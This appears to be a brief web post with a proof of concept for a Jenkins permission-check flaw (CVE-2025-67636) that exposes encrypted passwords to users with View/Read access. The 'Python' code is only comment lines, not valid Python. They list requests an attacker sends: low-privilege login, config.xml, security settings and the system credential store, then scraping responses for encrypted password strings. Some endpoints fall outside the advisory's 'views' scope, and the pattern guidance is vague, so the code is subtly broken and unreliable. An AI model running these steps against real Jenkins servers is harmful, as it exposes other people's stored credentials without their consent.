A missing permission check in Jenkins 2.540 and earlier, LTS 2.528.2 and earlier allows attackers with View/Read permission to view encrypted password values in views.
The following code is for security research and authorized testing only.
python
// CVE-2025-67636 PoC - Permission Check Bypass in Jenkins Views
// This PoC demonstrates how an authenticated user with View/Read permission
// can access encrypted password values through Jenkins views
// Step 1: Authenticate with low-privilege account
// POST /j_spring_security_check
// j_username=low_priv_user&j_password=password
// Step 2: Access a view with password fields (requires View/Read permission)
// GET /job/project/config.xml
// GET /configureSecurity/configure
// GET /credentials/store/system/domain/_/credentials
// Step 3: Parse response for encrypted password patterns
// Look for patterns like: <password>${...}</password> or encrypted password strings
// Jenkins encrypted passwords typically start with {...}JENKINS... or similar prefixes
// Note: This is for authorized security testing only
// Reference: https://www.jenkins.io/security/advisory/2025-12-10/#SECURITY-1809